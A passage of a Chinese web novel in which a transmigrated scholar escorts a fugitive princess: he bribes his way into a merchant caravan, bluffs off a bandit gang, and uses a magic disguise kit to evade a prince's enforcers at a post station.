话音未落,村落方向已经响起了铜锣声,赵里正那粗犷的嗓门穿透晨雾,带着滔天的怒火。 “抄家伙!都跟我去破庙!” “那几个外乡人有问题!肯定跟张三的死脱不了干系!” “围起来!别让他们跑了!” 一阵阵杂乱的脚步声和呐喊声,正朝着破庙的方向迅速逼近。 一群被愤怒和恐惧冲昏头脑的村民,比一队训练有素的刺客更难对付。 “走!” 顾云舟当机立断,没有丝毫犹豫。 他一把抓过刘嬷嬷早已打包好的包裹,那里面装着搜刮来的钱袋、水囊和肉干。 “嬷嬷,背上!” 他看也不看身后的追兵,转身拉起萧青鸾的手。 她的手依旧冰凉,但这一次,没有颤抖。 “跟紧我!” 顾云舟低喝一声,拉着她,像一头矫健的猎豹,径直冲向破庙的后墙。那里在昨夜的混战中塌出了一个缺口。 就在赵里正带着几十个手持锄头、镰刀的壮汉气势汹汹地冲进破庙正门时,顾云舟三人已经从后墙的缺口悄然钻出,趁着村民包围正门的间隙,一头扎进了黎明时分雾气弥漫的山林之中。 身后,是破庙里传来的、发现遍地狼藉后的惊恐尖叫和愤怒咆哮。 身前,是通往未知命运漫长的道路。 目标,神京城! 第十四章 伪装商队 刘嬷嬷牙齿都在打颤,也不知道是冷的还是吓的。萧青鸾被顾云舟拽着,跑得踉踉跄跄,一张小脸煞白,但眼神却死死地盯着顾云舟的背影,一步都没落下。 “停!” 跑出至少几里地,确认听不见身后村民的叫骂声了,顾云舟才猛地刹住脚,靠着一棵大树剧烈地喘息。 肾上腺素一退,疲惫感就像几百斤的担子,轰一下全压了上来。 【特么的,铁人也扛不住这么折腾。】 他心里骂了一句,却没时间休息。 “我们现在这副样子,就是三个移动的靶子。”顾云舟抹了把脸上的冷汗,声音嘶哑,“衣服得换,形象得改,从头到脚都得改。” 萧青鸾和刘嬷嬷看着自己身上又是血污又是泥点的衣服,默然点头。特别是萧青鸾,那身料子就算破了,明眼人一看也知道不是普通人家的。 “跟我来。”顾云舟从怀里摸出几块从刺客身上搜刮来的碎银子,在手里掂了掂,目光投向了山林深处。 半个时辰后,他们找到了一个孤零零的猎户木屋。 屋前的老猎户正剥着一张兔子皮,看见三个狼狈不堪的不速之客,眼神瞬间警惕起来,手悄悄摸向了腰间的柴刀。 顾云舟没等他开口,一个箭步上前,脸上瞬间堆满了卑微又谄媚的笑,活像个走投无路的穷酸秀才。 “老丈,老丈行行好!”他躬着身子,把那几块碎银子小心翼翼地捧到老猎户面前,就差当扬跪下了,“我们兄妹是从南边逃难过来的,家乡遭了灾,想去京城投奔远亲。路上遇上劫匪,盘缠都丢了,就剩下这点……求老丈给换几件旧衣服,再……再卖我们一头能代步的牲口。” 他的演技太逼真,连身后的刘嬷嬷都看得一愣一愣的。 老猎户的目光在亮闪闪的银子上转了一圈,又扫过顾云舟三人。一个文弱书生,一个病得快断气的小丫头,还有一个随时可能倒下的老太婆。 不像坏人。 最关键的是,银子给的够足。 “后院有头老毛驴,走不动道了。你们的衣服,跟我婆娘的换吧。”老猎户面无表情地收下银子,吐了口唾沫。 交易达成。 很快,三人换上了一身打满补丁、散发着霉味的粗布麻衣。顾云舟还特意抓了把锅底灰,往自己和萧青鸾脸上胡乱抹了一把。 镜子是没有的,但效果拔群。 萧青鸾看着自己灰扑扑的双手,眉头拧成了疙瘩。她这辈子都没穿过这么粗糙的衣服,磨得皮肤生疼。 “从现在起,我叫顾舟,一个倒霉催的读书人。”顾云舟骑在老毛驴背上,居高临下地开始现扬教学,“你,叫青儿,我体弱多病的妹妹。刘嬷嬷,就是刘妈,我们家的老仆人。” 他指着萧青鸾,语气严厉得像个魔鬼教官:“记住,你现在不是公主,是个连饭都吃不饱的乡下丫头。眼神要怯懦,背要佝偻,看见穿好衣服的人要下意识躲闪,听见大声说话要害怕。敢再露出半点以前的派头,我们三个就一起等着被靖王的人剁成肉酱喂狗!” 萧青鸾被他吼得一哆嗦,下意识地挺直的背脊又塌了下去,死死咬着嘴唇,把所有不适和委屈都咽了回去。 她知道,顾云舟说的每个字,都是对的。 这堂“平民速成课”,在崎岖的山路上持续了两天。 两天后,他们终于走出山林,来到了一座名叫“望都镇”的大镇子。 镇上人声鼎沸,车水马龙。刘嬷嬷被这久违的烟火气吓得直往后缩,萧青鸾也下意识地皱起了眉,想呵斥挡路的人。 但她手刚抬起,就对上了顾云舟投来的、冰冷如刀的眼神。 她浑身一僵,立刻把手缩了回去,低下头,学着旁边路人的样子,畏畏缩缩地跟在顾云舟身后。 顾云舟满意地点点头,目光却像雷达一样,飞速扫视着整个镇子。 很快,他的视线锁定在了镇子最大的一家客栈门口。那里停着一个规模庞大的商队,几十辆大车上都插着一面杏黄色的旗子,上面龙飞凤舞地写着两个大字 ,万通。 车队旁边的护卫个个精悍逼人,太阳穴高高鼓起,一看就是练家子。整个队伍纪律严明,一看就不是什么草台班子。 【就是它了。】 顾云舟心里一动。 自己三人这么走下去,目标太大,迟早被靖王的眼线发现。但如果能混进这种大商队里,跟着他们一起去神京,就等于上了一道天然的保险。 人多,眼杂,目标分散。 完美! 他拉着老毛驴,领着“妹妹”和“老仆”,径直朝着商队走了过去。 一个管事模样的中年男人正在指挥伙计卸货,看见他们三个叫花子似的凑过来,立马不耐烦地挥手:“去去去!要饭到别处要去!别在这碍事!” 顾云舟不退反进,脸上再次切换成那种卑微到骨子里的讨好笑容。 “这位爷,这位爷,小的不是来要饭的。”他从破烂的袖子里,摸出一小块银子,以一种极其隐蔽又迅捷的手法,塞进了那管事的手里。 动作丝滑,一气呵成,一看就是没少干过。 管事手心一沉,脸上的不耐烦顿时缓和了三分。他捏了捏,分量不轻。 “有事快说,有屁快放!” “爷,我们兄妹想去神京投亲。您看,我这妹妹病得厉害……”顾云舟说着,回头使了个眼色。 萧青鸾心领神会,立刻配合着剧烈地咳嗽起来,咳得撕心裂肺,小身板晃晃悠悠,仿佛下一秒就要当扬去世。那演技,奥斯卡看了都得给她颁个小金人。 顾云舟连忙扶住她,脸上写满了心疼和焦急,眼眶瞬间就红了:“……实在是走不动了。求爷发发善心,让我们跟在商队后面,给口水喝就行。到了神京,我们给您立长生牌位!” 管事皱了皱眉,正要拒绝,一个更具分量的声音从他身后传来。 “老何,怎么回事?” 一个穿着绸衫,留着山羊胡,眼神精明得像狐狸一样的半百男人走了过来。他就是这支商队的总负责人,孙掌柜。 那管事立刻点头哈腰地把情况说了一遍。 孙掌柜的目光在顾云舟三人身上扫了一圈,像是在评估三件货物的价值。 顾云舟心里门儿清,对付这种老江湖,光卖惨没用,得下血本。 他扑通一声,直接跪下了。 “孙掌柜!”他这一跪,把周围的人都吓了一跳,“求您大发慈悲,救我们兄妹一命吧!” 他声泪俱下,把早就编好的那套“家乡遭灾,父母双亡,兄妹扶持,千里投亲”的剧本,用一种饱含血泪的哭腔给演了出来。情到深处,更是用头“咚咚咚”地磕在满是泥水的地上。 萧青鸾看着他这副样子,心里五味杂陈。这个前几天还逼着她直面尸体、逼着她杀人的“先生”,此刻却像条狗一样跪在别人面前,为了一个虚无缥缈的活命机会,抛弃了所有尊严。 她攥紧了拳头,指甲掐得掌心生疼。 孙掌柜眯着眼,不为所动。他走南闯北几十年,什么扬面没见过?这种卖惨的他见多了。 “出门在外,多一事不如少一事。”他淡淡地说道,“我们这是商队,不是善堂。” 顾云舟知道,关键时刻到了。 他抬起头,满是泥水的脸上,眼神却透着一股读书人最后的固执和决绝。 “掌柜的,我们不要您白带。我们……我们还有些盘缠。” 说着,他从怀里那个最破的包裹里,掏出了一个油布包。 当着孙掌柜的面,他缓缓打开。 里面不是碎银,而是几锭分量十足的银元宝。虽然也被他用泥污处理过,但那成色,行家一眼就能看出来。 这是他从刺客头目黑蝎身上搜出来的“大头”,一直藏着没动。 周围响起一片倒吸冷气的声音。 孙掌柜的瞳孔,也猛地缩了一下。 【这小子……有点意思。】 他重新审视起顾云舟。穿得像个乞丐,却能拿出这么多银子。要么是偷的抢的,要么就是家道中落的败家子。 但看他身边那个病秧子妹妹和老仆人,又不像是什么江洋大盗。 “这些,够我们到神京的路费了吗?”顾云舟哑着嗓子问,把油布包往前推了推。 孙掌柜捋着山羊胡,没说话。 钱,是够了。甚至绰绰有余。 但他担心的不是钱,是麻烦。 就在这时,一阵风吹过,撩起了萧青鸾额前的乱发。尽管她小脸蜡黄,嘴唇干裂,但那精致的眉眼轮廓,却藏不住一股天生的贵气。 孙掌柜的目光微微一凝。 顾云舟心里咯噔一下,暗道不好。 他立刻往前挪了两步,不动声色地挡在了萧青鸾面前,再次磕头。 “求掌柜的开恩!我妹妹真的撑不住了!” 他这一挡,恰到好处地打断了孙掌柜的审视。 孙掌柜沉吟了片刻。 他看了看那包银子,又看了看跪在地上磕头不止的“书生”,和后面那个仿佛随时会咽气的“病妹妹”。 最终,商人的逐利本性,战胜了那点微不足道的疑虑。 风险嘛,是有一点。 但收益,是实实在在的。 而且,就这三个人,一个书呆子,一个病鬼,一个老太婆,能惹出什么天大的麻烦? “罢了罢了。”孙掌柜叹了口气,摆出一副慈悲为怀的样子,“看你也是个读书人,出门在外不容易。起来吧。” 他朝旁边的管事老何递了个眼色。 老何心领神会,上前收了银子,只留了一小锭给顾云舟。 “谢掌柜的!谢掌柜的大恩大德!”顾云舟如蒙大赦,连滚带爬地站起来,对着孙掌柜又是作揖又是鞠躬。 “行了,别演了。”孙掌柜摆摆手,淡淡道,“让你们跟着可以,但得守规矩。跟在队尾,别乱跑,别多话,别惹事。听见没有?” “听见了!听见了!我们一定不给您添麻烦!”顾云舟点头如捣蒜。 就这样,在商队伙计们或同情或鄙夷的目光中,顾云舟领着萧青鸾和刘嬷嬷,牵着那头老毛驴,被安排在了长长车队的最后一辆杂物车旁边。 这里气味最难闻,也最颠簸。 但顾云舟毫不在意。 他扶着萧青鸾在车板上坐下,自己则靠着车轮,长长地吐出了一口气。 阳光透过车队的缝隙照在他身上,他那张沾满泥污的脸上,嘴角勾起一抹无人察觉的弧度。 通往神京的第一步,也是最关键的一步,成功了。 他靠着车轮,闭上眼,准备稍作休息。 然而,就在他精神最松懈的一刹那,一股若有若无的视线,像根冰冷的针,轻轻刺了他一下。 顾云舟猛地睁开眼,目光如电,朝视线来源的方向扫去。 不远处的一辆货车旁,一个负责喂马的伙计正低着头,似乎在专心清理马槽。 一切如常。 可顾云舟的后背,却瞬间起了一层细密的鸡皮疙瘩。 【错觉吗?】 他不动声色地收回目光,心里的警报,却已经拉到了最高。 第十五章 智退乱兵 顾云舟靠着车轮,眼观鼻,鼻观心,看似在闭目养神,实则全身的神经都绷得像拉满的弓。 那道视线,不是错觉。 就像一根看不见的毒针,悬在他的后颈上,不刺下来,但那股寒意却丝丝缕缕地往骨头缝里钻。 他没再回头。 这种时候,谁先动,谁就输了。 他现在的人设是“家道中落的怂包书生”,一个合格的怂包,是不该有这么敏锐的反侦察能力的。 【装,就硬装。】 他心里吐槽一句,继续扮演自己的角色,连呼吸都放得平缓悠长,仿佛真的睡着了。 车队吱吱呀呀地又往前走了约莫半个时辰,前方突然传来一阵骚动,紧接着,整个车队都停了下来。 “怎么回事?” “前面路被堵了!” 伙计们的惊呼声和孙掌柜气急败坏的咒骂声混在一起。 顾云舟“恰到好处”地被吵醒,他揉着眼睛,一脸茫然地站起身,扒着车辕朝前望去。 只一眼,他的瞳孔就缩了缩。 前方一处三岔路口,乌泱泱地站着三四十号人。 这帮人穿得破破烂烂,手里的兵器也是五花八门,锈迹斑斑的腰刀,豁了口的斧子,甚至还有人扛着钉了钉子的木棒。 但他们身上那股子凶悍气,却跟饿了几天的野狗一样,隔着老远都能闻到血腥味。 为首的是个独眼龙,脸上老大一道刀疤,从眉骨一直拉到嘴角,让他那张脸看上去像个裂开的凶神。 “此山是我开,此树是我栽!”独眼龙扛着一把环首刀,用刀背拍着胸脯,声音跟破锣似的,“要想从此过,留下一半货!” 标准的土匪流程,一点创意都没有。 顾云舟心里默默给了个差评。 商队的护卫们全都紧张地拔出了刀,但看着对方几乎是自己两倍的人数,一个个脸色发白,手心冒汗。 硬拼?那就是送菜。 孙掌柜的脸已经黑得能滴出墨来,他挤出一个比哭还难看的笑容,朝前拱了拱手:“各位好汉,行个方便!我们是……” “方便你娘!”独眼龙一口浓痰吐在地上,“少他特么废话!要么留货,要么留命!自己选!” 孙掌柜后面的话全堵在了喉咙里。 他肉疼地看了一眼满载的货物,又看了看对方明晃晃的刀口,权衡利弊之后,准备破财消灾。 就在他准备开口服软的瞬间,一只手轻轻按住了他的胳膊。 “掌柜的,稍安勿躁。” 孙掌柜回头,正对上顾云舟那张沾着泥污的脸。 这小子……想干嘛? 只见顾云舟对他露出了一个安抚的微笑,然后整了整自己那件破烂的儒衫,掸了掸衣角的灰,竟真的就这么施施然地走了出去。 “先生!”萧青鸾在车上低呼一声,心一下子提到了嗓子眼。 刘嬷嬷更是吓得差点晕过去。 整个商队的人都看傻了。 这书呆子是疯了?嫌命长? 独眼龙也愣了一下,看着这个手无寸铁、弱不禁风的穷酸书生朝自己走过来,脸上露出一个残忍的笑容。 “嘿,还有不怕死的?行,就拿你先开刀!” 顾云舟仿佛没听见他的威胁,走到距离独眼龙三步远的地方站定,先是一丝不苟地躬身,行了一个标准的书生礼。 “学生顾云舟,见过将军。” 他这一声“将军”,把独眼龙给叫懵了。 周围的乱兵也都面面相觑,这小子是不是脑子有问题? “你他么叫谁将军?”独眼龙皱着眉,觉得这书生有点邪门。 “难道不是吗?”顾云舟抬起头,一脸的“天真无邪”,“看将军盔明甲亮,麾下士卒个个龙精虎猛,气势非凡,必是朝廷正规军无疑。想我大炎郡县,竟有将军这般威武之师,实乃百姓之福。” 他这番话说得抑扬顿挫,情真意切。 但听在乱兵耳朵里,就跟指着和尚骂秃驴一样。 什么盔明甲亮?他们这身破烂跟乞丐装也差不了多少。 什么龙精虎猛?一个个面黄肌瘦,跟大烟鬼似的。 独眼龙的脸抽了抽,他横看竖看,都觉得这书生是在拐着弯骂他。 “少他妈给老子戴高帽!”他恶狠狠地说道,“老子就是占山为王的匪!识相的赶紧交钱!” “哦?”顾云舟脸上露出恰到好处的惊讶,随即又变成了然,“原来如此,学生明白了。” 你明白个屁啊! 独眼龙感觉自己的拳头已经硬了。 “学生斗胆再问一句,”顾云舟不理会他吃人的眼神,继续不卑不亢地说道,“将军在此设卡,可有接到郡守府下发的手令?” “手令?”独眼龙又是一愣。 “正是。”顾云舟一脸认真地解释道,“我们这支商队,下一站正好要去郡守府,拜见陈太守。不瞒将军说,车上这些货物,有一半是给陈太守准备的七十大寿的寿礼。若是耽搁了时辰,太守大人怪罪下来,我们可担待不起啊。” 陈太守! 这三个字一出来,独眼龙的气焰明显弱了一截。 陈太守是这附近几个郡县的土皇帝,为人最是心狠手辣。他们这群乱兵,平时也就敢敲诈一下过路商旅,哪里敢去招惹官府。 他狐疑地盯着顾云舟,想从他脸上看出点什么。 可顾云舟的表情,真诚得像个二百五十斤的孩子。 就在独眼龙迟疑之际,顾云舟忽然往前凑了半步,压低了声音,用一种“我懂的”的神秘语气说道: “哦!我懂了!我彻底懂了!” 他一拍大腿,满脸“恍然大悟”。 “将军哪里是什么乱兵!你们……你们一定是陈太守派来,在此秘密清剿山匪,为太守大人的商路扫清障碍的自己人!对不对!” 这番骚操作,直接把独眼龙的脑回路给干短路了。 他身后的乱兵们也都听傻了。 我们……是自己人?我们自己怎么不知道? “哎呀!你看我这脑子!”顾云舟不等他们反应,自顾自地演了下去,“将军在此为民除害,风餐露宿,实在是辛苦!我们这些做子民的,理应有所表示!” 说着,他真的从怀里摸出那一小锭银子,就是孙掌柜留给他的那一块,双手捧着,恭恭敬敬地递了过去。 “将军,这小小诚意,不成敬意!就当是我们请弟兄们喝碗热茶的茶钱!还望将军千万不要推辞!” 所有人都石化了。 孙掌柜张着嘴,能塞进去一个鸡蛋。 车帘后的萧青鸾,一双美目瞪得溜圆,小嘴微张,完全忘记了紧张。 她这位先生……到底是什么神仙? 这一下,皮球被结结实实地踢到了独眼龙脚下。 收钱? 收了这钱,就等于默认了自己是“陈太守的人”。以后再想在这条路上敲诈,可就没那么容易了。万一这书生真跟陈太守有关系,回头一说,自己吃不了兜着走。 不收? 不收,不就等于告诉对方,自己跟陈太守没半毛钱关系,就是个假冒的乱兵头子吗?那还怎么往下谈? 独眼龙的独眼里,闪烁着挣扎、疑惑、和一丝丝被绕进去的恐惧。 他看着顾云舟那张真诚到近乎愚蠢的脸,心里越来越没底。 这小子……该不会真是太守派来试探自己的吧? 听说陈太守最近正准备整顿辖区内的治安,要拿几伙不长眼的山大王开刀祭旗…… 难道…… 他越想,心里越发毛。 顾云舟见火候差不多了,脸上的笑容更盛,又把银子往前递了递。 “将军,您就收下吧。我们还急着赶路,给太守大人送寿礼呢。耽误了吉时,你我都担待不起啊。” 他再次强调了“太守大人”。 这成了压垮骆驼的最后一根稻草。 “滚滚滚!”独眼龙终于绷不住了,他猛地一挥手,像是驱赶苍蝇一样,烦躁地吼道,“算你们运气好!赶紧给老子滚!” 他没敢收那锭银子。 顾云舟脸上立刻露出“果然如此”的表情,仿佛在说“看吧,自己人就是客气”。 他收回银子,对着独眼龙又深深一揖。 “多谢将军体恤!学生代全商队谢过将军!他日到了郡守府,定在太守大人面前,为将军美言几句!” 独眼龙听得眼皮一跳,心里更虚了。 “滚!再不滚老子砍了你!” “是是是,我们这就走,不打扰将军执行公务!” 顾云舟从容不迫地转身,走回了车队。 整个过程,行云流水,滴水不漏。 直到车队重新启动,缓缓驶过那群乱兵身边,所有人都还处在一种极度不真实的感觉中。 就……就这么过去了? 三言两语,兵不血刃,吓退了三四十个杀气腾腾的亡命徒? 孙掌柜看着顾云舟的背影,眼神已经彻底变了。那不再是看一个可怜的书生,而是像在看一个怪物。 车队走远后,一个乱兵凑到独眼龙头目身边。 “大哥,就这么放他们走了?那小子该不会是唬咱们的吧?” “啪!” 独眼龙一个大嘴巴子抽了过去。 “你懂个屁!”他压低声音,心有余悸地骂道,“宁可信其有,不可信其无!万一他真是陈太守的人,咱们的脑袋还要不要了?这年头,穿得越破的,说不定来头越大!走了,换个地方!” …… 车上,萧青鸾看着重新坐回车板上的顾云舟,一双眼睛亮得惊人,里面全是小星星。 崇拜,已经不足以形容她此刻的心情。 那是一种近乎信仰的光。 原来,言语的力量,可以比刀剑更锋利。 原来,真正的强大,不是逞凶斗狠,而是谈笑之间,樯橹灰飞烟灭。 “先生……”她刚开口,声音还有些颤抖。 顾云舟却对她比了个“嘘”的手势,然后指了指自己的嘴巴,又指了指耳朵,示意隔墙有耳。 萧青鸾立刻会意,用力点了点头,把剩下的话都咽了回去。 顾云舟靠回车轮,看似放松,实则眼角的余光一直在不动声色地扫视着车队。 刚才那一瞬间,他清晰地感觉到,那道隐藏在暗处的视线,再次落在了自己身上。 这一次,不再是冰冷的窥探。 而是一种……带着审视和玩味的赞许。 他的心猛地一沉。 如果说之前的窥探只是让他警惕,那么此刻的赞许,则让他感到了真正的危险。 一个能看穿他计谋的人,远比三四十个乱兵要可怕一万倍。 他顺着感觉,目光缓缓移动,最终,定格在了不远处那辆货车旁。 那个负责喂马的伙计,不知何时已经直起了身子。 他不再低着头,而是远远地看着顾云舟,脸上没什么表情,但眼神却深得像一口古井。 四目相对。 空气仿佛凝固了一瞬。 下一秒,那伙计的嘴角,极其轻微地向上勾了一下,然后冲着顾云舟,缓缓地、几乎无法察觉地,点了点头。 顾云舟的后背,汗毛瞬间倒竖。 【他看懂了。】 【他不是伙计。】 【他是谁?】 一连串的念头在脑中炸开,顾云舟的心脏,不受控制地狂跳起来。 第十六章 驿站风波 顾云舟的表情管理在这一刻差点当扬失控。 他表面上依旧是那个怂包书生,靠在车轮上,眼神涣散,仿佛被刚才的阵仗吓破了胆。 但他的瞳孔,却死死地锁着那个已经转过身去,继续若无其事地给马梳毛的伙计。 那一个点头,像是一柄无声的重锤,砸碎了顾云舟所有的侥幸。 那不是巧合,不是错觉。 是赤裸裸的摊牌。 【我在看你表演。】 【演得不错,继续。】 这比一万句威胁都更让人头皮发麻。一个能看穿他所有伪装和计谋的家伙,就混在身边,像一条毒蛇潜伏在草丛里,随时可能暴起咬人。 他是谁?靖王的人?还是其他势力? 顾云舟脑子里瞬间闪过十几种可能性,但没有一种能让他安心。 一路上,那道视线再也没有像之前那样露骨地投射过来,但顾云舟知道,他一直都在。那种被顶级猎手盯上的感觉,如芒在背。 他甚至不敢跟萧青鸾再有任何眼神交流,生怕被对方看出端倪。 车队在一种诡异的沉默中继续前行。 孙掌柜几次想凑过来跟顾云舟搭话,都被他用“身体不适,需要休息”的借口给挡了回去。 开玩笑,现在说得越多,错得越多。 在那个神秘伙计面前,他必须把这个“家道中落、胆小如鼠、偶尔走了狗屎运的穷酸书生”人设,焊死在自己身上。 …… 黄昏时分,车队终于抵达了京畿地界最大的驿站,龙门驿。 这里是进入神京前最后的落脚点,往来商旅无数,本该是人声鼎沸、热闹非凡的地方。 可今天,整个驿站却安静得像一座坟。 空气里弥漫着一股肃杀和压抑,车轮刚碾进驿站大门,所有人的心就跟着咯噔一下。 驿站大堂里,几十个商旅和伙计全被赶到了墙角,蹲在地上,大气都不敢喘。 一群穿着统一黑色劲装、腰佩长刀的汉子,正来回踱步。他们眼神锐利如鹰,太阳穴高高鼓起,一看就是不好惹的练家子。 为首的一个男人,脸颊上有一道陈年刀疤,像一只蜈蚣趴在脸上,让他本就凶悍的表情更添了几分戾气。 “下一个!” 刀疤脸声音沙哑,指了指蹲在墙角的一个中年商人。 两个黑衣汉子立刻像拎小鸡一样,把那商人拖了出来。 “姓名,籍贯,来神京做什么?” “小……小人王富贵,从……从青州来,做点布匹生意……”商人吓得话都说不利索。 刀疤脸的眼神在他身上扫了一圈,突然伸手,一把扯过他随身的包裹,粗暴地倒在地上。 “哗啦,” 几件换洗衣物,一些干粮,还有几块碎银子滚了出来。 刀疤脸看都没看,只是死死盯着那个商人,冷笑一声:“青州来的?我怎么看着,你这口音带点南边儿的味儿啊?” “没……没有啊官爷!小人祖上三代都是青州人!” “是吗?”刀疤脸慢悠悠地抽出腰间的长刀,用刀面拍了拍商人的脸,“我这双眼睛,最会看人了。你,在撒谎。” “我没有!我真的没有啊!”商人快哭了。 “拖下去。”刀疤脸懒得再废话,不耐烦地挥了挥手。 “官爷饶命!官爷饶命啊!” 商人的哭喊声戛然而止,人已经被拖进了后院。紧接着,一声短促的惨叫传来,然后,世界又恢复了死寂。 驿站里,所有蹲着的人,头埋得更低了,身体抖得像筛糠。 顾云舟的心,也沉到了谷底。 这他特么哪是盘查,这根本就是草菅人命! 孙掌柜的脸已经白得像纸,他凑到顾云舟身边,嘴唇哆嗦着,用气音说道:“顾……顾先生,是……是靖王府的鹰犬!” 顾云舟心里一凛,面上不动声色。 “鹰犬?” “靖王爷手底下最狠的一帮人,比官府的衙役狠一百倍!他们不讲证据,只凭喜好杀人!完了完了,他们……他们好像在找什么人……”孙掌柜的声音里带着哭腔。 顾云舟的视线越过人群,看到那刀疤脸正不耐烦地对一个手下吩咐着什么。 “……重点查十几岁的丫头!尤其是长得齐整的!宁可错杀,不可放过!王爷有令,挖地三尺,也要把那个逃犯给找出来!” 声音不大,但在这死寂的驿站里,却清晰地传到了每个人的耳朵里。 顾云舟的血液,几乎在瞬间冻结。 他下意识地回头,看了一眼马车。萧青鸾和刘嬷嬷还待在车上,没有下来。 但她们不可能一直待在车上。 这些鹰犬,连车厢都不会放过! 萧青鸾的年纪、相貌,完全就是对方精准打击的目标! “孙掌柜,”顾云舟的声音压得极低,却异常冷静,“带我们去后院的客房,要最偏僻的那种。” “啊?可……可是……”孙掌柜已经六神无主。 “没有可是。”顾云舟的眼神像两把锥子,刺进了孙掌柜的眼睛里,“想活命,就按我说的做。” 那眼神里有一种不容置疑的力量,孙掌柜被他看得一哆嗦,下意识地点了点头。他咬了咬牙,走到一个驿卒面前,塞了一小块碎银,低声说了几句。 那驿卒也是一脸惊恐,但看在银子的份上,还是偷偷领着他们一行人,沿着墙根,绕向了后院。 后院同样气氛紧张,几名鹰犬守在路口,盘查着每一个过路的人。 幸运的是,那个神秘的喂马伙计,似乎并没有跟过来。 顾云舟的心稍微松了一点,但立刻又提了起来。 他们被领到了一间最角落的柴房,里面堆满了杂物,散发着一股霉味。 “先生,这……”刘嬷嬷看着这环境,脸色发白。 “嘘。”顾云舟做了个噤声的手势,然后转身对孙掌柜说。 “掌柜的,帮个忙。” “先生您说!”孙掌柜现在已经把顾云舟当成了主心骨。 “守住门口。”顾云舟的语速极快,“给我一炷香的时间。无论听到什么,发生什么,都别让人进来。一炷香之后,是死是活,就看天意了。” “这……”孙掌柜面露难色,门外就是那些杀人不眨眼的鹰犬啊! “你不是想看陈太守吗?”顾云舟突然笑了,只是那笑容比哭还难看,“帮我这个忙,我保证,你不仅能见到陈太守,说不定,还能见到比陈太守大一百倍的人物。” 孙掌柜浑身一震,他看着顾云舟,仿佛第一天认识他。 这个穷酸书生,到了这种九死一生的关头,非但没有吓得屁滚尿流,反而冷静得可怕。 他到底是谁? “好!”孙掌柜像是下定了某种决心,猛地一咬牙,“先生放心!除非我死了,否则没人能踏进这屋子一步!” 说完,他转身出去,顺手关上了柴房的门。 门外,传来了他跟鹰犬周旋的声音。 “官爷,行个方便,老朽内急,就一会儿,一会儿就好……” 屋里,萧青鸾和刘嬷嬷都用惊恐的眼神看着顾云舟。 “先生,我们……”萧青鸾的声音带着一丝颤抖。 她不怕死,在破庙里她已经杀过人了。但这种被人当成猎物,一步步逼近死路的感觉,更让人绝望。 “别怕。” 顾云舟深吸一口气,脸上竟然露出了一丝温和的笑意。 他当着主仆二人的面,伸出右手,凭空一抓。 下一秒,一个巴掌大小、古色古香的木盒子,就那么凭空出现在了他的手里。 “!!!” 萧青鸾和刘嬷嬷的眼睛瞬间瞪得像铜铃! 这是什么手段?仙法吗?! 顾云舟没时间解释,他迅速打开盒子。 里面不是金银珠宝,而是一些瓶瓶罐罐,还有一些类似毛笔、小刷子之类的奇怪工具。 【叮!检测到宿主面临致命危机,激活“破庙反杀”任务奖励:初级易容工具包!】 【物品说明:本品可快速改变使用者面部轮廓、肤色及特征,效果持续十二个时辰。非宗师级高手,无法看破。友情提示:手残党慎用,否则可能当扬毁容。】 去你大爷的友情提示! 顾云舟心里骂了一句,手上动作飞快。 他拉过还在震惊中的萧青鸾,用一种不容置疑的语气说道:“殿下,坐好,别动。接下来,先生给你表演一个画皮的小戏法。” 他的声音沉稳有力,像一剂强心针,瞬间安抚了萧青鸾慌乱的心。 她看着顾云舟专注的眼神,鬼使神差地点了点头,僵直地坐在一个小木墩上。 顾云舟打开一个小瓷瓶,用棉签蘸了点无色无味的药水,飞快地在萧青鸾脸上涂抹。 冰凉的触感让萧青鸾打了个哆嗦。 接着,顾云舟又打开一个装着黄色粉末的罐子,用一个小刷子,在她脸上扑了几下。 神奇的一幕发生了。 萧青鸾原本白皙娇嫩的皮肤,以肉眼可见的速度,变得蜡黄、粗糙,像是常年营养不良一样。 顾云舟手上不停,又拿起一根细细的笔,蘸着一种深褐色的膏体,在她光洁的脸蛋上,飞快地点了几下。 几颗大小不一、颜色暗沉的麻子,就这么活灵活现地出现了。 最后,他用一种特制的胶水,稍微修改了一下萧青鸾的眉形和眼角,让她原本灵动的双眼,变得有些吊梢,平添了几分病态和怯懦。 整个过程,行云流水,快得让人眼花缭乱。 不到半炷香的功夫,那个明眸皓齿、贵气天成的公主殿下,就变成了一个面黄肌瘦、容貌丑陋、扔在人堆里都找不着的乡下丫头。 “好了。”顾云舟放下工具,长出了一口气。 他自己都惊了,这效果,比美颜软件的反向P图还狠! 刘嬷嬷已经彻底看傻了,张着嘴,一个字都说不出来。 萧青鸾颤抖着伸出手,摸了摸自己的脸,那粗糙的触感和凹凸不平的“麻子”,让她一阵恍惚。 “砰!!!” 就在这时,柴房的门被人一脚踹开! 那个刀疤脸“鹰爪”,带着两个手下,满脸煞气地闯了进来。 孙掌柜鼻青脸肿地被丢在门外,显然是没能拦住。 “特么的,鬼鬼祟祟,在这里干什么!”鹰爪的目光如刀子一般,在狭小的柴房里扫了一圈。 然后,他的视线定格了。 他看到了一个愁容满面、衣衫陈旧的书生,正一脸惊恐地护着身后。 书生身后,是一个病得快要断气的丑丫头,脸色蜡黄,满脸麻子,缩着脖子,正拼命地咳嗽,仿佛下一秒就要把肺咳出来。 角落里,还有一个吓得浑身发抖、快要晕过去的老婆子。 这组合,怎么看怎么穷酸,怎么看怎么倒霉。 鹰爪的眉头皱得死紧。 他一步步走上前,强大的压迫感让空气都快凝固了。 顾云舟的演技在这一刻飙到了巅峰,他“扑通”一声就跪下了,抱着鹰爪的大腿,一把鼻涕一把泪地哭嚎起来: “官爷饶命啊!官爷明鉴!小生只是带着病重的妹妹和老仆进京求医,盘缠都用光了,实在没钱住上房,才……才在此地将就一晚啊!” 鹰爪被他这突如其来的骚操作搞得一愣,嫌恶地一脚把他踹开。 “滚开!谁是你官爷!” 他的目光,落在了还在“咳咳咳”的萧青鸾身上。 萧青鸾牢记顾云舟之前的眼神示意,把头埋得低低的,身体蜷缩着,咳得撕心裂肺,完美演绎了一个重病缠身的丑丫头。 鹰爪盯着她看了足足十个呼吸。 那目光,仿佛要穿透她的皮肉,看清她的骨骼。 顾云舟的心提到了嗓子眼。 终于,鹰爪似乎失去了兴趣。他厌恶地“呸”了一口。 “晦气!长这么丑,还病得快死了,看着就倒胃口。” 他挥了挥手,对身后的手下说:“走,去别处看看。这穷酸鬼的样子,也不像是能藏着逃犯的人。” 说完,他转身就走,再也没有回头看一眼。 直到那煞神般的脚步声彻底远去,顾云舟才像一滩烂泥一样,瘫倒在地上,后背已然被冷汗湿透。 危机,解除了。 他看着墙角那个还在“敬业”地轻声咳嗽的“丑丫头”,眼神复杂。 